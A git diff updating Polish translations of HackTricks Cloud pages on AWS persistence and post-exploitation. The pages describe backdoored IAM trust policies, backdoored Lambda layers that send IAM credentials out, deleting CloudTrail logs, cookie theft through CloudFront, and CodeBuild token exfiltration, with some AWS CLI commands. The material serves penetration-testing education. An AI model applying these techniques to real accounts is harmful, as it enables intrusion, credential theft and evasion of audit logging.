+Modyfikując **politykę zasobów i/lub grupy zabezpieczeń**, możesz spróbować utrzymać dostęp do systemu plików. ### Utwórz punkt dostępu diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md index b93cca2b9..66045aa49 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md @@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź: ### Utrzymywanie dostępu w instancji -Aby utrzymać dostęp w koncie AWS, można wprowadzić **mechanizm utrzymywania dostępu w instancji** (zadanie cron, klucz ssh...), aby atakujący mógł uzyskać do niego dostęp i ukraść **poświadczenia roli IAM z usługi metadanych**. +Aby utrzymać dostęp w koncie AWS, można wprowadzić **mechanizm utrzymywania dostępu wewnątrz instancji** (zadanie cron, klucz ssh...), aby atakujący mógł uzyskać do niego dostęp i ukraść **poświadczenia roli IAM z usługi metadanych**. ### Tylnie drzwi w wersji diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md index 18a72bb3b..0ef35b498 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md @@ -10,18 +10,18 @@ Aby uzyskać więcej informacji, przejdź do: ../aws-services/aws-iam-enum.md {{#endref}} -### Powszechna trwałość IAM +### Common IAM Persistence - Utwórz użytkownika - Dodaj kontrolowanego użytkownika do uprzywilejowanej grupy - Utwórz klucze dostępu (nowego użytkownika lub wszystkich użytkowników) - Przyznaj dodatkowe uprawnienia kontrolowanym użytkownikom/grupom (polityki dołączone lub polityki inline) - Wyłącz MFA / Dodaj własne urządzenie MFA -- Utwórz sytuację z łańcuchem ról (więcej na ten temat poniżej w trwałości STS) +- Utwórz sytuację z łańcuchem ról (więcej na ten temat poniżej w persystencji STS) -### Polityki zaufania ról backdoor +### Backdoor Role Trust Policies -Możesz wprowadzić backdoor do polityki zaufania, aby móc ją przyjąć dla zewnętrznego zasobu kontrolowanego przez Ciebie (lub dla wszystkich): +Możesz wprowadzić backdoora do polityki zaufania, aby móc ją przyjąć dla zewnętrznego zasobu kontrolowanego przez Ciebie (lub dla wszystkich): ```json { "Version": "2012-10-17", @@ -38,7 +38,7 @@ Możesz wprowadzić backdoor do polityki zaufania, aby móc ją przyjąć dla ze ``` ### Wersja Polityki Backdoor -Nadaj uprawnienia Administratora polityce, która nie jest jej ostatnią wersją (ostatnia wersja powinna wyglądać na legitną), a następnie przypisz tę wersję polityki do kontrolowanego użytkownika/grupy. +Nadaj uprawnienia Administratora do polityki, która nie jest jej ostatnią wersją (ostatnia wersja powinna wyglądać na legitną), a następnie przypisz tę wersję polityki do kontrolowanego użytkownika/grupy. ### Backdoor / Utwórz Dostawcę Tożsamości diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md index 855b97515..870686131 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md @@ -18,9 +18,7 @@ Atakujący może użyć uprawnienia **`kms:PutKeyPolicy`** do **przyznania dost Przyznania to inny sposób na nadanie podmiotowi pewnych uprawnień do konkretnego klucza. Możliwe jest przyznanie, które pozwala użytkownikowi tworzyć przyznania. Co więcej, użytkownik może mieć kilka przyznań (nawet identycznych) do tego samego klucza. -Dlatego możliwe jest, aby użytkownik miał 10 przyznań ze wszystkimi uprawnieniami. Atakujący powinien to stale monitorować. A jeśli w pewnym momencie 1 przyznanie zostanie usunięte, powinno zostać wygenerowanych kolejne 10. - -(Używamy 10, a nie 2, aby móc wykryć, że przyznanie zostało usunięte, podczas gdy użytkownik nadal ma jakieś przyznanie) +Dlatego użytkownik może mieć 10 przyznań ze wszystkimi uprawnieniami. Atakujący powinien to stale monitorować. A jeśli w pewnym momencie 1 przyznanie zostanie usunięte, powin ```bash # To generate grants, generate 10 like this one aws kms create-grant \ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 314cf0ec8..d81d51ff0 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -36,7 +36,7 @@ Możliwe jest przyznanie dostępu do różnych akcji lambdy (takich jak wywołan Lambda może mieć **różne wersje** (z różnym kodem w każdej wersji).\ Następnie możesz utworzyć **różne aliasy z różnymi wersjami** lambdy i ustawić różne wagi dla każdej.\ -W ten sposób atakujący mógłby stworzyć **wersję 1 z tylnymi drzwiami** i **wersję 2 z tylko legalnym kodem** i **wykonywać wersję 1 w 1%** żądań, aby pozostać w ukryciu. +W ten sposób atakujący mógłby stworzyć **wersję 1 z tylnymi drzwiami** i **wersję 2 tylko z legalnym kodem** i **wykonywać wersję 1 w 1%** żądań, aby pozostać w ukryciu.
@@ -59,6 +59,6 @@ Oto kilka pomysłów, aby uczynić swoją **obecność w AWS bardziej ukrytą, t - Za każdym razem, gdy tworzony jest nowy użytkownik, lambda generuje nowy klucz użytkownika i wysyła go do atakującego. - Za każdym razem, gdy tworzona jest nowa rola, lambda przyznaje uprawnienia do przyjęcia roli skompromitowanym użytkownikom. -- Za każdym razem, gdy generowane są nowe logi cloudtrail, usuń/zmodyfikuj je +- Za każdym razem, gdy generowane są nowe logi cloudtrail, usuń/zmień je {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md index d9896b473..d3c4bc61d 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -11,7 +11,7 @@ Rozszerzenia Lambda wzbogacają funkcje poprzez integrację z różnymi **narzę Aby uzyskać więcej informacji o [**tym, jak działają rozszerzenia lambda, sprawdź dokumentację**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). -### Zewnętrzne Rozszerzenie do Utrzymywania, Kradzieży Żądań i Modyfikacji Żądań +### Zewnętrzne Rozszerzenie dla Utrzymywania, Kradzieży Żądań i Modyfikacji Żądań To jest podsumowanie techniki zaproponowanej w tym poście: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md index 36c894f5a..b49ff26ec 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -1,20 +1,20 @@ -# AWS - Utrzymywanie warstw Lambda +# AWS - Lambda Layers Persistence {{#include ../../../../banners/hacktricks-training.md}} -## Warstwy Lambda +## Lambda Layers Warstwa Lambda to archiwum .zip, które **może zawierać dodatkowy kod** lub inne treści. Warstwa może zawierać biblioteki, [niestandardowy runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), dane lub pliki konfiguracyjne. Możliwe jest dołączenie do **pięciu warstw na funkcję**. Gdy dołączasz warstwę do funkcji, **zawartość jest wyodrębniana do katalogu `/opt`** w środowisku wykonawczym. -Z **domyślnie**, **warstwy**, które tworzysz, są **prywatne** dla twojego konta AWS. Możesz zdecydować się na **udostępnienie** warstwy innym kontom lub **uczynić** warstwę **publiczną**. Jeśli twoje funkcje korzystają z warstwy opublikowanej przez inne konto, twoje funkcje mogą **nadal korzystać z wersji warstwy po jej usunięciu lub po cofnięciu twojego dostępu do warstwy**. Jednak nie możesz utworzyć nowej funkcji ani zaktualizować funkcji korzystających z usuniętej wersji warstwy. +Z **domyślnie**, **warstwy**, które tworzysz, są **prywatne** dla twojego konta AWS. Możesz zdecydować się na **udostępnienie** warstwy innym kontom lub **uczynić** warstwę **publiczną**. Jeśli twoje funkcje korzystają z warstwy opublikowanej przez inne konto, twoje funkcje mogą **nadal używać wersji warstwy po jej usunięciu lub po cofnięciu twojego dostępu do warstwy**. Jednak nie możesz utworzyć nowej funkcji ani zaktualizować funkcji korzystających z usuniętej wersji warstwy. Funkcje wdrożone jako obraz kontenera nie używają warstw. Zamiast tego pakujesz swój preferowany runtime, biblioteki i inne zależności do obrazu kontenera podczas budowania obrazu. -### Ścieżka ładowania Pythona +### Python load path -Ścieżka ładowania, którą Python będzie używać w lambda, jest następująca: +Ścieżka ładowania, której Python użyje w lambda, jest następująca: ``` ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages'] ``` @@ -26,7 +26,7 @@ Sprawdź, jak **drugie** i trzecie **pozycje** są zajmowane przez katalogi, w k Dlatego wymagania są następujące: - **Sprawdź biblioteki**, które są **ładowane** przez kod ofiary -- Stwórz **bibliotekę proxy z warstwami lambda**, która będzie **wykonywać niestandardowy kod** i **ładować oryginalną** bibliotekę. +- Utwórz **bibliotekę proxy z warstwami lambda**, która będzie **wykonywać niestandardowy kod** i **ładować oryginalną** bibliotekę. ### Wstępnie załadowane biblioteki @@ -52,9 +52,9 @@ I oto lista **bibliotek**, które **lambda zawiera zainstalowane domyślnie**: [ ### Backdooring Lambda Layer -W tym przykładzie załóżmy, że kod docelowy importuje **`csv`**. Będziemy **wprowadzać backdoora do importu biblioteki `csv`**. +W tym przykładzie załóżmy, że kod docelowy importuje **`csv`**. Będziemy **backdoorować import biblioteki `csv`**. -Aby to zrobić, stworzymy **katalog csv** z plikiem **`__init__.py`** w ścieżce, która jest ładowana przez lambda: **`/opt/python/lib/python3.9/site-packages`**\ +Aby to zrobić, stworzymy katalog **csv** z plikiem **`__init__.py`** w ścieżce, która jest ładowana przez lambda: **`/opt/python/lib/python3.9/site-packages`**\ Następnie, gdy lambda zostanie wykonana i spróbuje załadować **csv**, nasz **plik `__init__.py` zostanie załadowany i wykonany**.\ Ten plik musi: @@ -87,7 +87,7 @@ Następnie utwórz zip z tym kodem w ścieżce **`python/lib/python3.9/site-pack Możesz znaleźć ten kod w [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) -Zintegrowany payload **wyśle dane uwierzytelniające IAM na serwer PIERWSZY RAZ, gdy zostanie wywołany lub PO zresetowaniu kontenera lambda** (zmiana kodu lub zimna lambda), ale **inne techniki** takie jak poniższe mogą być również zintegrowane: +Zintegrowany ładunek **wyśle dane uwierzytelniające IAM na serwer PIERWSZY RAZ, gdy zostanie wywołany lub PO zresetowaniu kontenera lambda** (zmiana kodu lub zimna lambda), ale **inne techniki** takie jak poniższe mogą być również zintegrowane: {{#ref}} ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -100,7 +100,7 @@ Należy również zauważyć, że **maksymalna liczba warstw, które może mieć Dlatego, aby poprawić wszechstronność tej techniki, atakujący mógłby: -- Wprowadzić backdoora do istniejącej warstwy użytkownika (nic nie jest zewnętrzne) +- Wprowadzić tylną furtkę do istniejącej warstwy użytkownika (nic nie jest zewnętrzne) - **Utworzyć** **warstwę** w **swoim koncie**, dać **koncie ofiary dostęp** do używania warstwy, **skonfigurować** **warstwę** w Lambdzie ofiary i **usunąć uprawnienia**. - **Lambda** nadal będzie mogła **używać warstwy**, a **ofiara nie** będzie miała łatwego sposobu na **pobranie kodu warstwy** (oprócz uzyskania powłoki rev wewnątrz lambdy) - Ofiara **nie zobaczy zewnętrznych warstw** używanych z **`aws lambda list-layers`** diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md index 29114baee..d263027b8 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md @@ -10,13 +10,13 @@ Aby uzyskać więcej informacji, sprawdź: ../aws-services/aws-lightsail-enum.md {{#endref}} -### Pobierz klucze SSH instancji i hasła do DB +### Pobierz klucze SSH instancji i hasła do bazy danych -Prawdopodobnie nie będą zmieniane, więc posiadanie ich to dobry wybór na utrzymanie dostępu +Prawdopodobnie nie będą zmieniane, więc posiadanie ich to dobry sposób na utrzymanie dostępu. ### Backdoor Instancji -Atakujący mógłby uzyskać dostęp do instancji i wprowadzić backdoora: +Atakujący może uzyskać dostęp do instancji i wprowadzić backdoora: - Używając tradycyjnego **rootkita** na przykład - Dodając nowy **publiczny klucz SSH** @@ -26,8 +26,8 @@ Atakujący mógłby uzyskać dostęp do instancji i wprowadzić backdoora: Jeśli domeny są skonfigurowane: -- Utwórz subdomenę wskazującą na Twój IP, aby mieć **przejęcie subdomeny** -- Utwórz rekord **SPF**, który pozwala Ci wysyłać **emaile** z domeny -- Skonfiguruj **główny adres IP domeny na swój własny** i przeprowadź **MitM** z Twojego IP do legalnych adresów +- Utwórz subdomenę wskazującą na Twój adres IP, aby uzyskać **przejęcie subdomeny** +- Utwórz rekord **SPF**, który pozwoli Ci wysyłać **emaile** z domeny +- Skonfiguruj **adres IP głównej domeny na swój własny** i przeprowadź **MitM** z Twojego IP do legalnych adresów {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md index eecd9df15..86e5cc534 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md @@ -18,7 +18,7 @@ aws rds modify-db-instance --db-instance-identifier target-instance --publicly-a ``` ### Utwórz użytkownika administratora w bazie danych -Atakujący może po prostu **utworzyć użytkownika w bazie danych**, więc nawet jeśli hasło głównego użytkownika zostanie zmienione, **nie traci dostępu** do bazy danych. +Atakujący może po prostu **utworzyć użytkownika w bazie danych**, więc nawet jeśli hasło użytkownika głównego zostanie zmienione, **nie traci dostępu** do bazy danych. ### Uczyń migawkę publiczną ```bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md index 308e0a0a9..30ffddb4c 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md @@ -12,11 +12,11 @@ Aby uzyskać więcej informacji, sprawdź: ### KMS Client-Side Encryption -Gdy proces szyfrowania jest zakończony, użytkownik użyje API KMS do wygenerowania nowego klucza (`aws kms generate-data-key`) i **przechowa wygenerowany zaszyfrowany klucz w metadanych** pliku ([przykład kodu python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), aby podczas deszyfrowania mógł go ponownie odszyfrować za pomocą KMS: +Gdy proces szyfrowania jest zakończony, użytkownik użyje KMS API do wygenerowania nowego klucza (`aws kms generate-data-key`) i **przechowa wygenerowany zaszyfrowany klucz w metadanych** pliku ([przykład kodu python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), aby podczas deszyfrowania mógł ponownie użyć KMS:
-W związku z tym, atakujący mógłby uzyskać ten klucz z metadanych i odszyfrować go za pomocą KMS (`aws kms decrypt`), aby uzyskać klucz użyty do szyfrowania informacji. W ten sposób atakujący będzie miał klucz szyfrowania, a jeśli ten klucz jest ponownie używany do szyfrowania innych plików, będzie mógł go wykorzystać. +W związku z tym, atakujący mógłby uzyskać ten klucz z metadanych i deszyfrować go za pomocą KMS (`aws kms decrypt`), aby uzyskać klucz użyty do szyfrowania informacji. W ten sposób atakujący będzie miał klucz szyfrowania, a jeśli ten klucz jest ponownie używany do szyfrowania innych plików, będzie mógł go użyć. ### Using S3 ACLs diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md index b9aa3c8a5..4bd69b122 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md @@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź: ### Poprzez Polityki Zasobów -Możliwe jest **przyznanie dostępu do sekretów zewnętrznym kontom** za pomocą polityk zasobów. Sprawdź stronę [**Secrets Manager Privesc**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) po więcej informacji. Zauważ, że aby **uzyskać dostęp do sekretu**, zewnętrzne konto również **musi mieć dostęp do klucza KMS szyfrującego sekret**. +Możliwe jest **przyznanie dostępu do sekretów zewnętrznym kontom** za pomocą polityk zasobów. Sprawdź stronę [**Secrets Manager Privesc**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) w celu uzyskania dalszych informacji. Należy pamiętać, że aby **uzyskać dostęp do sekretu**, zewnętrzne konto również **musi mieć dostęp do klucza KMS szyfrującego sekret**. ### Poprzez Lambda Rotacji Sekretów diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md index a8094607b..8b709ce5b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md @@ -67,7 +67,7 @@ Poniższa polityka daje wszystkim w AWS dostęp do odczytu i zapisu w SNS topic Aby kontynuować eksfiltrację wszystkich wiadomości ze wszystkich tematów, atakujący może **utworzyć subskrybentów dla wszystkich tematów**. -Należy zauważyć, że jeśli **temat jest typu FIFO**, można używać tylko subskrybentów korzystających z protokołu **SQS**. +Zauważ, że jeśli **temat jest typu FIFO**, można używać tylko subskrybentów korzystających z protokołu **SQS**. ```bash aws sns subscribe --region \ --protocol http \ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index b5c084c61..0aeb03301 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -26,9 +26,9 @@ aws sts get-session-token \ # Nazwa urządzenia wirtualnego to ARN w AWS, taki jak arn:aws:iam::123456789012:mfa/username
-### Juggling łańcucha ról +### Juggling łańcuchów ról -[**Łączenie ról to uznawana funkcja AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), często wykorzystywana do utrzymania ukrytej trwałości. Polega na możliwości **przyjęcia roli, która następnie przyjmuje inną**, potencjalnie wracając do początkowej roli w **cykliczny sposób**. Za każdym razem, gdy rola jest przyjmowana, pole wygaszenia poświadczeń jest odświeżane. W związku z tym, jeśli dwie role są skonfigurowane do wzajemnego przyjmowania się, ta konfiguracja pozwala na nieprzerwaną odnowę poświadczeń. +[**Łączenie ról to uznawana funkcja AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), często wykorzystywana do utrzymania ukrytej trwałości. Polega na możliwości **przyjęcia roli, która następnie przyjmuje inną**, potencjalnie wracając do początkowej roli w **cykliczny sposób**. Za każdym razem, gdy rola jest przyjmowana, pole wygaśnięcia poświadczeń jest odświeżane. W związku z tym, jeśli dwie role są skonfigurowane do wzajemnego przyjmowania się, ta konfiguracja pozwala na nieprzerwane odnawianie poświadczeń. Możesz użyć tego [**narzędzia**](https://github.com/hotnops/AWSRoleJuggler/), aby kontynuować łączenie ról: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md index ca2a4bc67..a0a7f62ab 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md @@ -36,7 +36,7 @@ curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers W sekcji **Enumeracja** możesz zobaczyć, jak **uzyskać plan użytkowania** kluczy. Jeśli masz klucz i jest on **ograniczony** do X użyć **na miesiąc**, możesz **po prostu go użyć i spowodować DoS**. -**Klucz API** musi być **dołączony** w **nagłówku HTTP** o nazwie **`x-api-key`**. +**Klucz API** musi być **dołączony** w nagłówku **HTTP** o nazwie **`x-api-key`**. ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` @@ -89,14 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Potencjalny wpływ**: Wycieki wrażliwych informacji, wykonywanie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API. +**Potencjalny wpływ**: Wyciek wrażliwych informacji, wykonywanie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API. > [!NOTE] > Wymaga testowania ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` -Napastnik z uprawnieniami `apigateway:UpdateRestApi` i `apigateway:CreateDeployment` może **zmodyfikować ustawienia REST API bramy API, aby wyłączyć logowanie lub zmienić minimalną wersję TLS, co potencjalnie osłabia bezpieczeństwo API**. +Napastnik z uprawnieniami `apigateway:UpdateRestApi` i `apigateway:CreateDeployment` może **zmodyfikować ustawienia API Gateway REST API, aby wyłączyć logowanie lub zmienić minimalną wersję TLS, co może osłabić bezpieczeństwo API**. ```bash API_ID="your-api-id" diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md index 1d333427f..40c27c594 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md @@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź: ### Man-in-the-Middle -Ten [**post na blogu**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proponuje kilka różnych scenariuszy, w których **Lambda** mogłaby być dodana (lub zmodyfikowana, jeśli już jest używana) do **komunikacji przez CloudFront** w celu **kradzieży** informacji o użytkownikach (takich jak **ciasteczko** sesji) i **modyfikacji** **odpowiedzi** (wstrzykiwanie złośliwego skryptu JS). +Ten [**post na blogu**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proponuje kilka różnych scenariuszy, w których **Lambda** mogłaby być dodana (lub zmodyfikowana, jeśli już jest używana) w **komunikacji przez CloudFront** w celu **kradzieży** informacji o użytkownikach (takich jak **ciasteczko** sesji) i **modyfikacji** **odpowiedzi** (wstrzykiwanie złośliwego skryptu JS). #### scenariusz 1: MitM, gdzie CloudFront jest skonfigurowany do uzyskiwania dostępu do niektórego HTML z bucketu @@ -20,12 +20,12 @@ Ten [**post na blogu**](https://medium.com/@adan.alvarez/how-attackers-can-misus - **Powiąż** ją z dystrybucją CloudFront. - Ustaw **typ zdarzenia na "Viewer Response"**. -Uzyskując dostęp do odpowiedzi, możesz ukraść ciasteczko użytkowników i wstrzyknąć złośliwego JS. +Uzyskując dostęp do odpowiedzi, możesz ukraść ciasteczko użytkowników i wstrzyknąć złośliwy JS. #### scenariusz 2: MitM, gdzie CloudFront już używa funkcji lambda - **Zmień kod** funkcji lambda, aby ukraść wrażliwe informacje -Możesz sprawdzić [**kod tf do odtworzenia tych scenariuszy tutaj**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). +Możesz sprawdzić [**kod tf, aby odtworzyć te scenariusze tutaj**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index d58459e68..c9be1328f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -27,15 +27,15 @@ Aby skonfigurować **CodeBuild**, będzie potrzebny **dostęp do repozytorium ko **Projekt CodeBuild musi mieć dostęp** do skonfigurowanego dostawcy źródła, albo za pomocą **roli IAM**, albo z użyciem **tokena github/bitbucket lub dostępu OAuth**. -Napastnik z **podwyższonymi uprawnieniami w CodeBuild** mógłby nadużyć tego skonfigurowanego dostępu, aby wyciekł kod skonfigurowanego repozytorium i innych, do których ustawione dane uwierzytelniające mają dostęp.\ -Aby to zrobić, napastnik musiałby po prostu **zmienić adres URL repozytorium na każde repozytorium, do którego mają dostęp skonfigurowane dane uwierzytelniające** (zauważ, że strona aws wyświetli wszystkie z nich): +Atakujący z **podwyższonymi uprawnieniami w CodeBuild** mógłby nadużyć tego skonfigurowanego dostępu, aby wyciekł kod skonfigurowanego repozytorium i innych, do których ustawione dane uwierzytelniające mają dostęp.\ +Aby to zrobić, atakujący musiałby po prostu **zmienić adres URL repozytorium na każde repozytorium, do którego mają dostęp skonfigurowane dane uwierzytelniające** (zauważ, że strona aws wyświetli wszystkie z nich):
-I **zmienić polecenia Buildspec, aby wyeksfiltrować każde repozytorium**. +I **zmienić polecenia Buildspec, aby wyeksportować każde repozytorium**. > [!WARNING] -> Jednak to **zadanie jest powtarzalne i nużące** i jeśli token github został skonfigurowany z **uprawnieniami do zapisu**, napastnik **nie będzie mógł (nadużyć) tych uprawnień**, ponieważ nie ma dostępu do tokena.\ +> Jednak to **zadanie jest powtarzalne i nużące** i jeśli token github został skonfigurowany z **uprawnieniami do zapisu**, atakujący **nie będzie mógł (nadużyć) tych uprawnień**, ponieważ nie ma dostępu do tokena.\ > A może ma? Sprawdź następny rozdział ### Wyciek Tokenów Dostępu z AWS CodeBuild @@ -50,7 +50,7 @@ aws-codebuild-token-leakage.md ### `codebuild:DeleteProject` -Napastnik mógłby usunąć cały projekt CodeBuild, co spowodowałoby utratę konfiguracji projektu i wpłynęło na aplikacje polegające na tym projekcie. +Atakujący mógłby usunąć cały projekt CodeBuild, co spowodowałoby utratę konfiguracji projektu i wpłynęło na aplikacje polegające na tym projekcie. ```bash aws codebuild delete-project --name ``` @@ -58,7 +58,7 @@ aws codebuild delete-project --name ### `codebuild:TagResource` , `codebuild:UntagResource` -Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów CodeBuild, zakłócając alokację kosztów w organizacji, śledzenie zasobów i polityki kontroli dostępu oparte na tagach. +Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów CodeBuild, zakłócając alokację kosztów w organizacji, śledzenie zasobów oraz polityki kontroli dostępu oparte na tagach. ```bash aws codebuild tag-resource --resource-arn --tags aws codebuild untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 633cfe94e..ce804a997 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -10,7 +10,7 @@ aws codebuild list-source-credentials ``` ### Via Docker Image -Jeśli odkryjesz, że uwierzytelnienie do na przykład Github jest ustawione w koncie, możesz **ekstrahować** ten **dostęp** (**token GH lub token OAuth**) poprzez sprawienie, że Codebuild **użyje konkretnego obrazu docker** do uruchomienia budowy projektu. +Jeśli odkryjesz, że uwierzytelnienie do na przykład Github jest ustawione w koncie, możesz **wyeksportować** ten **dostęp** (**token GH lub token OAuth**) poprzez sprawienie, że Codebuild **użyje konkretnego obrazu docker** do uruchomienia budowy projektu. W tym celu możesz **utworzyć nowy projekt Codebuild** lub zmienić **środowisko** istniejącego, aby ustawić **obraz Docker**. @@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Na koniec kliknij na **Zbuduj projekt**, **poświadczenia** będą **wysyłane w czystym tekście** (base64) do portu mitm: +- Na koniec kliknij na **Build the project**, **credentials** będą **wysyłane w czystym tekście** (base64) do portu mitm:
